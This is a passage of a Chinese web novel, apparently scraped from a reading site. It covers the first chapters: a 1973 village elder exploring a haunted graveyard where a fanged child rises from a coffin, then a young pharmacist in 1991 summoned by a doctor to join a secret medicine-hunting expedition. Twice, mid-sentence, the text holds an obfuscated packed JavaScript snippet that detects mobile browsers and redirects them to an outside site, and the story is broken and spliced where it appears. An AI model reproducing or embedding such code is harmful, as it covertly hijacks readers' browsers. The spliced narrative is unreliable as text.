《九零雪山寻药队》 1. 第 1 章 七三年,小阴月。 武山村村口,大树底下。一群大老爷们坐在侃大山。前面的泥巴路上,一个穿青布麻衫的老哥扛着锄头、背着背篓走过。 “哎——老孙,别走啊,坐下聊几句呗。” 那老哥身材不高不矮,结实精瘦,摇杆挺得笔直了,朝说闲话的大老爷们看了一眼,嫌弃地别过头去,目不斜视地走了。 “这老孙,还是这臭脾气。”有人发着牢骚。 “谁说不是呢,家里有每个婆娘,一天到晚忙活,到点上工,到点下工,一点都不知道偷懒。你们说他为的什么啊?家里又没有婆娘替他暖床。” “为什么?鬼知道为什么,我就知道,从建国以后,这老哥就背着一杆枪回来了。那时候他家房子都被人占了,他愣是要了回来,之后就没人敢惹他,这人,手段硬着呢。” “也是,听说他当了十多年兵,怎么也没混个干部当当?就这么灰不溜秋的回来了,连媳妇孩子都没有,光杆一个。” “谁知道他那些年做了什么,不过人家成分好,这不,生产队副队长就落在他身上了。要我说,要不是他走了那么多年才回来,指不定队长都当的。” “这倒是,这老哥哥平常看着不声不响的,好相处,但板起脸来,让人怵得慌。说不定在战场上杀了不少人呢。” “你们这不是废话吗?上了战场不杀鬼子,难道等着人来杀?老王,我看你就是心存不满报复,今天是不是又躲懒被孙老哥训了?所以在这儿说他的闲话?” “滚蛋,我会被老孙训?今天被老孙训的是村头王麻子家,说他整天哈欠连天,不好好干活,夜里干什么去了!” “王麻子?”有人和王麻子熟,轻蔑道,“那小子一整天嘴里跑火车,前两天还说自己撞鬼了,被女鬼缠身,非要和他快活。我看这话八成是被他家母大虫听到了,夜里弄得起不来,白天就干不动活了吧。” 村里日子单调乏味,又都是一群大老爷们,聚在一起就喜欢说些浑话,高高低低地起哄笑起来。 . 而此时,孙老哥也找到了王麻子,问他究竟怎么回事。 王赖子原本想装病,可家有母老虎,盯着他赚工分,哪里真能偷懒耍滑,说了自己撞鬼的事。 “孙老哥,真撞鬼了,就鬼子岭那地方,阴气森森的,我就过去喝口水,想着大白天的没事,谁知大白天也能遇鬼。” 王赖子家的母老虎就在门口扫地,闻言冷笑一声,砰一下把扫把丢到地上,回屋关了门。 王赖子被媳妇下了脸子,还要在外面装自己男人的脸面,故作高声地骂了几句。 “行了,在自己家就别抖你那屁大点的威风了,说说,你去鬼子岭做什么?” “刚不是说了吗?去喝水。那儿不是有一条山涧么,我就是口喝,想找水喝。” 孙老哥冷笑一声,如果不是早知道鬼子岭那山涧干涸了,他还真信了他的鬼话! “老实交代,不然今天你那工分别想拿全!” “别啊——”王赖子慌了,这几天他精神头不好,地里活都敷衍过去的。孙老哥看着乡里乡亲的份上,帮忙干了活,补齐了工分。 要是真扣他工分,村里人肯定会叫好。 身后就是这几天心气不顺的母老虎,王赖子不敢拿工分开玩笑,说了实话。 “我其实是想去看看那里有没有好东西,你也知道,我家家徒四壁…”王赖子压低了声音,越说越小,最后在孙老哥的瞪视下没敢再说下去,讪讪笑了笑,搓着手不敢再吭声了。 鬼子岭那是什么地方,全是坟墓,这家伙恐怕是想学他爷爷盗墓吧! 孙老哥也不说话,就盯着王癞子,在他冷冷的目光下,王赖子坚持不住,主动都交代了。 “唉——什么都瞒不过老哥你。其实我确实是想摸点东西。老哥你不知道,十年前,我跟我爷爷去鬼子岭看发财门道。可没想到刚到那里,我和我爷爷就听到那坟墓里传来奇奇怪怪的声音,还有古怪的车碾过的声音,我们就没敢进去。” “这不是我老娘病了,家里实在没钱,没法子,我才想着去碰碰运气,万一能摸到点什么好东西呢。” “谁知大白天也遇到鬼,我实在没敢下去,就跑回来了,老哥你信我,我真没干成!” 盗墓不是什么光彩的事,说出去可能还会被批斗,王赖子也是没法子,这件事本应该烂在肚子里,可他又管不住自己吹牛皮的嘴,被人几句话套出来,最后吹牛皮说自己和女鬼缠绵的香艳事。 谁知现在彻底把自己卖了。孙老哥没追究他盗墓的事,警告他以后别再去那里,问清楚他遇鬼的具体情况就走了。 . 鬼子岭,以前不叫鬼子岭,叫叶家岭,是百年大家族叶家的祖坟,后来因为叶家一夜之间没了人,成了荒岭坟地。三十多年前,叶家岭莫名其妙开始闹鬼,人去了就回不来,因此渐渐有人叫:鬼子岭、吃人岭。 鬼子岭不在武山村,在相距好几个村的叶家村。附近十几个村都靠着一条五岭山过活,平常砍柴找野味,都是村里人的门路。 五岭山延绵不绝,具体有多长多大,武山村的人也不知道,毕竟他们去的最远的地方就是市里。 五岭山各山头旮旯角都有名字,比如武山村后面的山叫武山,叶家村后面的小溪山,可武山村的人都不把小溪山叫小溪山,叫做鬼山。 这其中有些门道。 因为几个村争先进,争好名声,争漂亮媳妇,争能干汉子。一来二去,互相较着劲。武山村的人很有心眼,因此私底下故意抹黑叶家村。 叶家村背后的小溪山往里走十里地,就是鬼子岭。 这天孙老哥和生产队请了假,跑到鬼子岭一探究竟。 到鬼子岭时,已经快傍晚。孙老哥没想到自己看到的是这样一个奇怪的场景。 鬼子岭在叶家没出事之前,是附近几个村有名的风水宝地,孙老哥小时候就听人说过什么前有水,后靠山,什么藏风聚气,纳福纳财之类的,而那时候,叶家已经出事,所以有人说起这件事,都是用来做反例的。 但即便如此,那时候的叶家岭还是一块气派的坟地,除了因为没人照看,坟头草一人多高之外,其他环境都是正常的青山绿水。 而现在,墓碑倒塌,里面笼罩着一片白雾,像是有什么东西在里面散不去一样。 孙老哥以前听村里老人说,这是鬼气,有东西被圈在里面出不来,遇到这样的雾气,千万别进去,因为一进去,就出不来。 可后来孙老哥参军以后,见识多了,才知道村里人说的鬼气,可能就是一种瘴气。 鬼子岭除了坟墓和荒草,没有能产生瘴气的东西。 这里何时多出这些瘴气的?孙老哥站在坟地外思索起来。 瘴气一定需要特点的环境,同时还需要能产生瘴气的毒气。 比如桃花林、沼泽地、一些密集的草丛,动植物死亡后腐烂产生的气体源源不断且挥散不去。 鬼子岭地势并不低,但四周全是山和林子,确实能“圈住”这些毒气。 那么毒气的源头呢? 孙老哥看向了那些坟墓。 三十多年前,鬼子岭经历过一场大型盗墓活动,一群鬼子和一个汉奸盗了叶家的祖坟。 那时候国家动荡,局势不稳,四处都在打仗。有些人就趁机弄走国家的宝藏,要知道国外那些人都很喜欢华夏遗留下来的文物。 叶家是本地有名的富贵人,他们家的祖坟自然被盯上了。 就是不知道小鬼子他们在里面遇到了什么,出来后就开始了人体实验。 为了满足他们不为人知的私欲,小鬼子们一边让人散播谣言说叶家岭闹鬼,一边大肆抓来附近的村民实验,也就是那时,叶家岭成了鬼子岭。 大概小鬼子们的实验太过灭绝人性,弄出了许多不人不鬼的东西,后来有一天,来了一群天兵天将一样有能耐的人,直接将那群小鬼子一窝端了。 小鬼子们虽然死了,可他们造得孽还存在。谁也不清楚小鬼子究竟丢了多少不人不鬼的东西到叶家祖坟里。 当时实验室被捣毁,孙老哥记得所有怪物都被一把火烧成了灰,然后埋在了地下。 难道此地瘴气的来源就是当年那些鬼东西搞出来的? 孙老哥又想起来王癞子说的话。 十年前,他和他爷爷他们来盗墓,结果听到坟墓里有古怪的声音。 难道就是那时候坟里爬出来了怪东西? 孙老哥思索完,决定进去瞧一瞧。 三十多年前,他和他父亲被小鬼子抓来实验,后来他母亲和爷爷为了找他们父子,也被小鬼子抓了来。 后来他的爷爷、父母,都死在了这片坟地后面的山洞实验室里的。 所以他才知道这么多其他村民不知道的事情。 孙老哥不能放任这件事不管。 一来,他担心是不是当年弄出来的怪物出了什么问题。二来,担心三十多年前那些小鬼子没处理干净,还有漏网之鱼,这些人又跑到此地捣鬼了。 因此,来之前,孙老哥就有所准备。 带了一桶汽油,为了烧所谓的“鬼”的;还带了陪伴自己很多年的老伙计——一杆老枪,为了对付——闹鬼的人。 孙老哥胆子大,但不代表没脑子,相反,他很冷静,很周全,早已做好了各种准备。 超出他计划之外的是多出来的瘴气。 但这也难不倒孙老哥。 孙家祖上是给人当药童的,孙老哥小时候就跟自己祖父、父亲学过认药。家破人亡后他又在部队里跟着老军医学了一点本事。 虽然本事不多,但足够应对眼前的瘴气。 先是在附近找了一些解毒的药草,捶出汁水,包在衣服上撕下来的布条上,就等同于简易版防毒解毒面具。 戴好防毒面巾,端上枪,汽油桶挂在腰上,进了坟地。 进去不久,孙老哥就发现坟地里的情况比他预计的复杂的多。 首先,瘴气越来越浓郁,这和孙老哥进坟地之前的猜想对应上了,毒雾可能和坟墓里埋的那些东西有关。 其次,瘴气太浓,阻挡了他的视线,眼睛只能看清几步远的地方。 其三,坟地里有古怪的变化。在坟地外时,茅草是成片的,进了里面,茅草变成一堆一堆的。这些茅草和坟墓组成了像迷宫一样的环境。 孙老哥发现自己走了许久都走不出去后,他就用石头做了标记。但转了几圈,还是回到了自己标记过的地方。 孙老哥在部队里呆了许多年,也跟着去过很多地方,听说过的事情远比寻常人多的多。 他记得以前队伍里有个老油子,和他说起过这种情况,说是以前懂门道的人布的迷阵。 可叶家祖坟不过是一个荒废的坟地,谁会在这里弄出这样厉害的东西? 孙老哥这时候有些后悔自己冲动进来了,应该先弄清楚坟地里的情况后再进的。 也怪他太自信,以为只是瘴气,最多进去十几分钟就能出去了。 现在他转了快半个小时,坟地里全是动物和人的尸骨,也不知是不是迷路进来的,总之,他找不到出去的方向了。 怎么办呢? 孙老哥站在原地想法子。 可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766058|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在瘴气里呆的时间太长,自制的防毒面巾快失去效果了,孙老哥感到头晕,无法集中思考。 他用力咬了一下自己的舌尖,余光忽然撇到茅草后面藏着一只黑猫。 那黑猫就躲在茅草后面,一动不动地盯着他,充满野性和人性化的黑眸让人不会怀疑它会攻击人。 孙老哥昏沉的脑袋一下清醒过来。 坟地里出现黑猫,乡下人传言会诈尸。孙老哥不信这样的鬼话,可现在坟地里,再诡异的事情都可能发生。 孙老哥立即端好了枪,那黑猫可能是畏惧,一扭身,窜进了浓雾中,孙老哥连忙追过去。 他自己走不出去,只能期待这黑猫带他出去了。 每次孙老哥都以为自己追丢了时,就会听到不远处传来一声“瞄——”叫。 好像领路似的,等孙老哥意识到时,他已经到了一个山洞前,当即便僵硬在了原地。 三十多年前,他被小鬼子抓到这个山洞里做实验,经历了噩梦一般的事情。 这里有他最不愿意回想的经历。 孙老哥想要掉头离开,但脚却定在原地,没有真的离开。他想知道山洞里是不是有什么东西在搞鬼,不能让那些东西作乱。但又很不愿意面对以前的那些遭遇。 踌躇不定时,山洞里忽然传来婴儿的哭声。 “哇哇——” “哇哇——” 山洞里有孩子! 意识到这件事后,孙老哥立即不再犹豫,拿好枪准备进去。 这时候他才发现一件奇怪的事情。 山洞口多了一些不知名的青绿色藤曼,像门帘一样悬挂在山洞口。 那藤曼孙老哥也不认得,以前没见过。 点了蜡烛进去。又发现一件诡异的事情,坟地里那些瘴气就好像被是,阻挡在了外面,竟然都没飘进山洞里。 太怪异了。 不等他多想,他已经来到山洞深处的一扇木门前,被挡住了去路。 孙老哥记得很清楚,三十多年前,这里有一扇铁门,把人间和地狱分开,铁门之外,是阳光大地,铁门之后,是恶鬼地狱。 后来这扇铁门被人一脚踹开,烧成了废铁,现在怎么会多了一扇木门。 是谁在这里安装的木门。 对方想要做什么? 孩子的哭声在木门后。孙老哥侧耳听了一下,确定自己没有听到其他声音。 会不会是有人把孩子丢到这里不要了? 这种事情在乡下不少见,很多人家养不起的孩子,或者生多了女儿不要的,就把孩子丢了。 可没谁会把孩子丢在坟地里关起来吧? 孙老哥越想越觉得事情古怪。 狐疑之下,他推了一下门,门没有被推开,是从里面上锁的? 怎么会从里面锁住? 里面有人? 进坟地之后发生的一切都让孙老哥感到惊讶。已经到了这里,他不能什么都不管。 思索再三,孙老哥一脚揣开木门上。 哐当一声,门撞到石壁上,又反弹回来。 巨大的响声在山洞内回响,那一直哭泣的婴儿声却忽然消失了。 孙老哥眼睛睁大。他没想到木门会被这么轻易地踢开,毕竟看起来挺结实,而踢开木门后,他一眼看到洞内正中央摆着一口漆黑金丝楠木老棺材! 黑金丝楠木老棺材上用朱砂绘画了许多奇奇怪怪的符纹。像是要镇压棺材里的东西。 乡下人总会有些神秘不可言说的事情,比如有些枉死的人下葬时需要用符画镇压。孙老哥今日第一次见到了。 更可怕的是,孙老哥发现棺材盖的一头竟然被打开了! 棺材盖是谁打开的? 里面的东西?还是外面的人? 无论是谁,孙老哥都感觉寒气从脚底往上直冒。 更重要的是,是谁把棺材放到这里的?为什么要放在这里,棺材里有什么东西? 这时候,身边忽然窜过一道黑影,带起的风一下吹灭了蜡烛。 孙老哥陷入黑暗中,警惕地端好枪,可四周一片漆黑,他什么也看不见。 “哇哇——” “瞄——” 前面传来两道尖利的声音,一道是猫叫,一道是婴儿的哭声,孙老哥头皮发麻,手忙脚乱点燃蜡烛。 因为恐惧,他点了好几下才把蜡烛点燃。 火苗重新升起,孙老哥抬头就对上了那只带他来到山洞,又消失不见的黑猫的眼睛。它弓着背,蹲在棺材盖子上,嘴角往上提起,像是在对他笑,更可怖的是,黑猫嘴角挂着一丝黑血,不知道是谁的。 孙老哥惊惧之下,立马端起枪对准黑猫,他手里还拿着蜡烛,无法瞄准。黑猫感受到了威胁,一声凄厉的喵叫后,当着孙老哥的面,飞快蹿到了黑暗里不见了。 孙老哥迟疑半天,还是没抵住想弄清楚发生了什么,两股战战,迟疑地一步步挪到棺材前。 低头一看,他差点吓晕死过去。 只见棺材里躺着一个孩子,身上穿着一件红色小肚兜,皮肤白的没有一丝血色。 孩子长得粉雕玉琢,脸蛋巴掌大,双眼紧闭,没了呼吸。它的左肩膀上,好像被黑猫撕下了一块肉,伤口处流出墨绿色的血,一下染绿了它脖子上戴的玉佩。 孙老哥差点晕过去,咽了咽口水,一下咬紧了自己的舌尖,他清醒了一点,伸手去看孩子的情况。 这时候,躺着一动不动的孩子忽然睁开了眼睛,漆黑的瞳仁转动,正好对上了孙老哥看过去的视线,接着,它咧开小嘴,露出尖利的獠牙,朝着孙老哥扑了过去… . 2. 第 2 章 九一年。 清幽别致的四合院里,一个四十多岁的中年女人拿着一个大哥大走进充满墨香的书房里。 “小姐,榆家大小姐的电话。 女人是孙家的阿姨,在孙家工作好几年了。书桌后面正低头专注修复古籍的女生不紧不慢放下手头的工具,直起身。 长时间的工作让她浑身都快僵硬了,于是先伸了一下腰背舒展筋骨,接着又转动了一下发酸的脖颈,等浑身都舒服了,才伸手接过阿姨递给她的电话。 “喂——” “明天回医院一趟,我有重要事情找你谈。” 电话那头的人很干脆利落的挂了电话。 甘草看着被挂掉的电话,还一时没反应过来,柳姨见状问道:“小姐,榆小姐说什么了?”怎么这么快就挂电话了。 甘草回过神,也没怎么在意,淡定地将电话放到桌上空处。 “没什么,她让我明天回去一趟,说有事情。”柳姨是自己人,甘草没瞒她,“柳姨,你去帮我订一张回湖湘的机票吧,要明天最早航班的。” “好的,我这就去让人订机票。”这么说着,柳姨却没急着出去,而是担忧地望着她,“不过小姐,小五不在,没人陪你回去,要不要叫孙爷安排车和保镖去机场接你?” 小五是她的保镖,一直兢兢业业,细致周到地保护她的安全,前几天,小五喜欢的女生透露出想出去旅游的意思,甘草就给小五放了长假,让他先把终身大事解决了。 昨天下午两人刚走,今天刚到西安,甘草不会这个时候把人叫回来。 “不用,我自己回去就行,你别告诉他们,我回去给他们一个惊喜。” 柳姨应下,见她没什么吩咐了,便出去找人订机票去了。 甘草休息了一会儿,继续拿了工具修复古籍。 前段时间花大价钱买回来的古医书,其中有一半存在破损,甘草这几天都在修复,还有几页就能修复完成,甘草不想被其他事情打断。 她喜欢把手头的事情都完成了,再去想其他的事情。 修复好医书,甘草伸了一下懒腰,拿了书到院子里看。 看完医书里的内容,记住里面的治病方子,又自己琢磨了一会儿可以对症的病例,有不明白的就拿笔记下来,等找到机会向更厉害的医生求教。 如此这般学习完,甘草才空下心来想榆安安找她的事情。 改革开放以后,只是农民的孙老头很有远见地做起了药材生意,没多久,生意遇到了瓶颈期,孙老头想要进军全国,需要一个认药本事强的,就把还只有十二岁,没吃过多少苦,但喜欢医术的甘草送到当时最有名望的榆氏医阁当药童。 甘草在认药方面极具天赋,花了不到一年,就把榆氏医阁里的药材认全了,还学习到了最全的炮制之法。 从那以后,孙家药材生意一日千里,甘草时常跟着孙老头去全国各地收购药材,发展药铺。直到孙家的药材生意不需要她帮忙后,她才有空专心自己的学业。 如今,孙家药铺做到全国各地,成了中医界最大的药材商。而榆家,在很早的时候,就和孙家药铺成为了合作伙伴,彼此合作很多年了。 去年,榆安安这个榆家大小姐当上了榆氏医阁的中医科主任,开始接管了榆氏医阁的中药材采购事宜。 难道这次榆安安找她回去,是因为生意上的事? 甘草微微皱眉想到。 可榆安安应该知道她不怎么管家里的生意,尤其是两年前,她考上全国有名的中京医药大学,除了节假日回湖湘,其他时间都呆在京市,就连孙老头想她了,也是跑到京市来看她。 如果真是生意上的事情,榆安安应该找负责两家生意的孙家管事小李哥。 小李哥和甘草一起长大,十分能干,从没在生意上出过大纰漏。 想着这些事,甘草更加奇怪榆安安究竟想找她说什么事? 总不至于为了她节假日兼职的事让她大老远跑回去详谈吧? 甘草换了一个更舒服的姿势躺在摇椅里,边晒太阳边想。 自从她十二岁,孙老头将她送到榆氏医阁兼职做药童后,她每年节假日都会去榆氏医阁兼职,当然,从她认识所有药材,再也不会抓错后,她就去了药柜做事,也就是帮病人抓药、煎药的药师。 这一做就是六年。 恰好,管着药柜的管事就是采购经理王大壮,也就是榆安安的直系下属。简而言之,榆安安是甘草兼职时上司的上司。也就是...负责给她发工资的人。 . 揣着各种疑问,甘草一大早踏上了回湖湘的飞机。 几个小时候后,甘草抵达榆氏医阁。站在大门外,甘草想起七年前第一次进入这里,也是这么站在门口看医院的大门。只是那时候有孙老头和两个发小陪着她看,而现在,她是一个人看。 据她所知,榆氏医阁历史很悠久,可甘草在里面兼职了七年,也不清楚它究竟是什么时候建立的,只知道在清朝时期,它就存在了。 听说以前这家医馆很低调,规模也不是很大,直到引进西医以后,这家医院才开始蓬勃发展。 眼下,榆氏医阁的西医发展势头强劲,中医却维持不温不火的状态。医院内部的人都说,再过十年,中医可能就要被挤到角落去了。 当然,这样的话也只是大家的自嘲。只要有榆家夫妻在,他们的子女不改行,那么中医总会在榆氏医阁有一席之地。 作为一个有理想的中医生,甘草希望这家医院的中医能越来越好。 “甘草,你怎么回来了?” 有同事招呼了她一声,看着大门口发呆的甘草才回过神,整理好心思,与同事打了招呼,共同往医院里大步走去。 不过几分钟,半个中医科的工作人员都知道甘草回医院了,甘草当看不见那些人注视的目光,径直朝榆安安的办公室走去。 远远的,就看到那门口站着两个黑衣保镖,甘草脚步慢下来,旋即又恢复正常,走过去。 榆安安从进入榆氏医阁实习起,就有自己独立的办公室。只是以前她的保镖都是穿便衣坐在门口不远处的长椅上装作看报纸,今天却一改常态,穿黑衣,门神一样站在门口两边。 甘草很礼貌上前询问:“里面有重要的客人?” “没有。孙小姐,大小姐在里面等你,你进去吧。”守在榆安安办公室门口右手边的保镖说。 甘草点点头,上前敲门,听到里面喊:“进来。” 才推门进去。 榆氏医阁内部情况复杂,有好几个派系,甘草从进榆氏医阁第一天起,就一直秉承礼貌、低调、宽和的行事风格。 不惹人过多注意,也不多惹事,这样安安稳稳地兼职了七年,工资还是药师里最高的。不得不说,甘草对自己的工作情况是很满意的。 也是因为此,无论面对什么名医,她都显得不卑不亢,落落大方。 只有面对榆安安这个上上司时,她才会多几分恭敬。 进门第一眼,就看到坐在办公桌后面,正在讲电话的美人医生。 听到开门声,美人医生抬眸看了她一眼。 威严的凤眸,看人时自带一丝睥睨的气势,甘草却不怕她,朝榆安安点点头,对方也没多说什么,收回视线专注听电话那头的人讲。 甘草往里走,顺便关上门,看着坐在明净整洁办公室里的短发美人医生。 穿一身再寻常不过的白大褂,凤眸高鼻,脸色冷酷,不施粉黛也显得浓丽的长相不让她看起来像个魅惑人的妖精。 电话里的人可能说了什么不好的事情,她威严的凤眸微微蹙起,透着几分让人屏气息声的严肃,右眼角下的血红泪痣欲落不落,又透出一丝残冷的慈悲。 “病人情况稳定下来了吗?” “好,我马上过来。” 甘草刚走进去两步就进退两难。 很显然,从榆安安的对话中不难推出她现在有事。 两人约好了时间。可病人的身体健康为重。 榆安安挂了电话,看一眼站在门口不远处不动的甘草。 “你也听到了,有个病人需要我去看一下,你先在我办公室等一会儿,等我忙完再来找你说事。” 榆安安说着,手脚利落地收拾了一些要用的医用工具和药品,放在自己的药箱里。 与甘草插肩而过时,她大步走路带起的风吹过甘草的长发,淡淡的消毒水味穿进甘草鼻腔中。 同时,还伴随着一缕罐汤包和牛肉饺子的香味飘进甘草鼻中。 啧啧——甘草扭头看着榆安安丰腴高挑的背影消失在被关闭的门后面,在心里默默腹诽这个治病救人的大医生一早吃这么油腻,还都是肉,一点都不养生。 刚刚榆安安走近时,甘草看到她眼皮下淡淡的青黑。 这些年,甘草偶尔观察过榆安安,她肤色冷白,五官冷艳,因为底子好,不需要化妆就漂亮得像妖精。 同时身体也是极好,熬两三个通宵,脸色也依旧看不出丝毫疲态。 这次眼皮底下都出现暗青色了,不知她熬了几个晚上,才把自己折腾成这样。 甘草同情地耸耸肩,往里走,眼睛闲适地扫视一圈办公室。 没了主人的办公室十分冷清,而且她的办公室装潢敞亮大气,布置却简洁单一。 处处彰显专业严谨的风格,缺少温馨浪漫的东西作调节。 因此甘草看了一眼就没多少兴趣了,她的视线落在办公桌上那盆显眼的也是办公室里唯一一件色彩鲜艳、有生气的牡丹盆栽上。 看到这盆花,甘草走过去,扬唇笑了一下。 伸出指尖,轻轻拨弄了一下其中最漂亮的那朵花。 她知道这盆花是谁送的,也知道是什么时候送的。 让她意外的是榆安安竟然会接受这盆花,而且还摆在了自己办公室里,那么明显的位置。 要知道医院上下的人都知道榆安安喜欢雅致素净的东西,比如兰花。 她进医院第一天,她母亲就给她送了一盆极为名贵的“素冠荷鼎” 。 可惜榆安安太忙,没时间多照料那盆金贵的兰花,于是那盆自从摆在榆安安摆在办公室后,就没再开过花,仿佛得了“自闭症”的兰草死了。 现在换上这样一盆红艳的看起来有点俗气,和这间办公室的扮装格格不入的富贵花。 难道神女最终被襄王的诚意打动,动了凡心? 甘草越想越乐,嘴角扬起明晃晃看好戏的弧度。 指尖抚过娇艳的花瓣,越看越想摘下一朵来玩。 有花堪折直须折,甘草家花园里的花很多都是在开得最好的时候被她摘下来玩的。 好在甘草还有理智,这是别人的花了,没有真的摘这盆花玩。 她收回手,取下背后的背包,在办公室里唯一的硬邦邦的待客椅子上坐下。 也不知榆安安怎么想的,就放她一个人在她办公室。难道她就不怕她会做些什么危害她的事? 安安分分,腰背笔直地在办公室里等着。 半个小时过去后,她有点无聊了。 屁股动了动,待客椅坐久了,感觉屁股都不是自己的。 抬眸感受到对面榆安安的真皮办公椅无声地召唤。 盯着那椅子踌躇半晌,甘草脑海里天人交战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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照片里,榆安安坐在悬崖边的石头上,旁边有一颗大树,又恰好太阳从云层里露出一半,于是,她一半身体坐在太阳底下,一半身体藏在树阴底下。 就好看太极图一样,黑白分明,又黑白交织。 被太阳照射的那只凤眸璀璨明亮,像仙人一样悲天悯人,另一只凤眸被树荫遮挡,隐隐绰绰,像魔鬼一样冰冷无情。 现在甘草盯着这张照片,就好看看到一个被恶魔附身了的天使在盯着她看。 她不知道看她的是哪个灵魂,又好像是两个灵魂都在。 甘草被自己的想象吓了一跳。 不敢再多看。 靠在椅子里,甘草恍然就想起了这张照片的来历。 大约四年前,也就是榆安安结束实习,正式毕业后进入榆氏医阁当医生的某一天。 医院组织户外活动交流彼此感情。在实习期时,榆安安都不参加这样的活动,更何况当了医生后整天忙得不可开交,更不可能参加这种在她看来无趣又没有意义的集体活动了。 但那次,她意外的参加了。 而且一改以前端庄贵气的打扮,穿了一袭绯色长裙,头上戴了一顶黑色宽沿帽。 因为纯黑色的帽子看起来太奇怪,有人扯了一把野花编了一个花环给她,戴在帽子上后就正常多了。 那天榆安安很奇怪地甩开了一众跟着她的人,包括她的保镖。等大家找到她时,她就坐在悬崖边上,手里拿着一瓶可乐准备喝。 甘草眯着眼睛回忆起来,认识榆安安六年了,她确定那是自己第一次,也是唯一一次看到榆安安喝白开水以外的饮料。 在最初,可乐是一种药用品,可提神、镇静和治疗头疼,后来改良成了饮料。 对中医生而言,乐饮比不上茶水好。 但那天榆安安就是喝了一大瓶可乐,像个挣脱了牵引绳的比格犬,放肆地放纵自己的情绪。 甘草想起那日的她,皱了皱眉头。 从那天之后,榆安安就改了以往端庄得体的做派。剪短了自己的一头长发,换下了素雅高贵的衣裙,穿上粗跟鞋、大风衣。双手插兜,走路带风地从所有人身边走过。 她脸上再也看不见和她母亲一样优雅温婉的笑容,一天到晚挂着冰霜一样的表情,冷冰冰的,也不跟人主动打招呼,就连甘草有时候主动打招呼,也被她无视了。 甘草至今记得她第一天这样出现在众人面前时,包括她自己在内的所有人都很惊讶。 再次看到这张照片,难免让甘草好奇那段时间,榆安安究竟发生了什么事,让她变化那么大。 想着想着,入了神,她自己都没注意到什么时候手贱地掐了一朵花,然后扯下花瓣… . 榆安安好不容易治疗完新接受的病人,让病人情况稳定下来,想到甘草在她办公室已经等了快两个小时了,大步赶回去办公室时,一推开门,就看到等她的女生坐在她的椅子上趴在桌子上呼呼大睡。 而她桌上的那盆原本开的正盛的“人家富贵花”没有了花朵,只剩下一盆残枝。 至于花儿…. 榆安安冷酷的视线落在桌上摆了一个大大的“安”字的花瓣字上,唇瓣抿紧了。 她也是昏了头了,明知道孙甘草有手贱扯花的习惯,还把她一个人放在办公室里。 白白糟践了一盆好好的花。 榆安安看着那盆“秃顶”盆栽,远远的都感受到了它的怨念。 轻叹一声,榆安安疲惫地揉了揉眉心。 3. 第 3 章 甘草被空空的肚子叫醒,迷茫地睁开眼,看到一盆只有枝叶的盆栽,一时没弄明白自己在哪里。 “醒了?” 冷艳的嗓音入耳,甘草迷登登看过去。 穿白大褂的美人医生正在边看病历,边写写画画,听到她动静,抬起冷酷无情的眸子看她。 被这么一看,甘草吓醒了。 “榆安安,你什么时候回来的?” “在你坐在我的位置上睡觉,把我的花当安神香枕着的时候。” 甘草看到了桌上的残花败枝,睡前干的坏事浮上脑海:“…” “我不是故意的,你相信吗?” “我相信你确实多了一双手。” 甘草坐起来,一本正经地把花瓣字打乱,顺便用桌子下的塑料袋装好。 “我是看你太累了,所以扯了花瓣给你泡澡,你也是医生,应该能体会我的良苦用心。” “嗯,花儿也这么想就好了。” 甘草噎住,接着又理直气壮地说:“牡丹花有舒缓神经、美容养颜的功效,最适合下班后泡个花瓣澡,能让你美美的享受一下工作之余的舒适生活。” “而且我刚刚数过了,花瓣刚好九九八十一难…呸呸,九九八十一瓣,象征着遇难成祥,大富大贵。” “况且也不是我非要扯这些花瓣,是它们自己看不开,吵着闹着要出家,我心软,就送了它们一程,帮它们剃了个度。你应该也知道,这世上总有一些奇奇怪怪的愿望,强求不来。” 榆安安做完自己的工作,放下笔,看着装完花瓣找理由蒙混的她,“我的位置好坐吗?” 甘草点点头,又摇摇头:“好坐,但不好睡。” 她抬手看了一眼自己手腕上的表,语气很平静地说:“我等了你两个多小时,水都是我自己倒的。” 榆安安看着她看似大方又淡然指责她待客之道的孙甘草,无言了一会儿。 “你还要坐在我位置上多久?” “麻了。” “什么?” “腿脚和手臂,屁股都麻了。” 榆安安:“…算了,你就坐那里吧。” “好的,谢谢。” 榆安安:“…” 见她确实手脚都睡麻了,榆安安好心起身给她倒了杯水。 “谢谢。” “免得有人又在背后说我没礼貌,水都不倒一杯。” “这是谁啊?在背后乱说,我都喝到了榆医生你亲自倒的水。” 榆安安发现再任由她插科打诨下去,可能今天都进入不了正题。于是主动出击。 “我找你来的事,你爸跟你说过了吗?” “我爸?关我爸什么事?” “你不知道?” “我应该知道?” 两道同样奇怪的视线对视,榆安安看了一会儿迷茫的她,率先移开了视线。 “是这样,我找你来,是为了去一个地方找药一事。我组建了一个队伍,现在就差你了。出发时间定在周五早上八点,你回去准备准备,到时候我们一起出发。” 甘草听她说完,懵了一会儿,好一会儿才反应过来。 “不是,你找我加入你队伍里找药,你也没说清楚找什么药,去哪里找,我需要准备什么呀?还有,事先申明,危险的地方我不去,我还要带几个保镖、伙计。你先跟我说清楚你要去哪儿,找什么药,我再回去准备。” “去哪儿,找什么药,你先别管,等到了地方我会告诉你。这次行动是保密的,你别往外出说。” “人手我已经选好,你只要再带两个人就可以。重要的装备我们会准备,你只是带你的日常物品就行。我们需要进山,东西你带齐全一些,但也别带多。预计会进山二十天,吃的、穿的,都不能落下。” “去的地方有点冷,保暖的衣物不能少,其他的我们都会准备。” “要是没事了,你就出去吧。” 甘草听她一骨碌说完,好像说了很多,又好像什么都没说。 “不是,我为什么一定要跟你去找药啊?”甘草不明白地问。 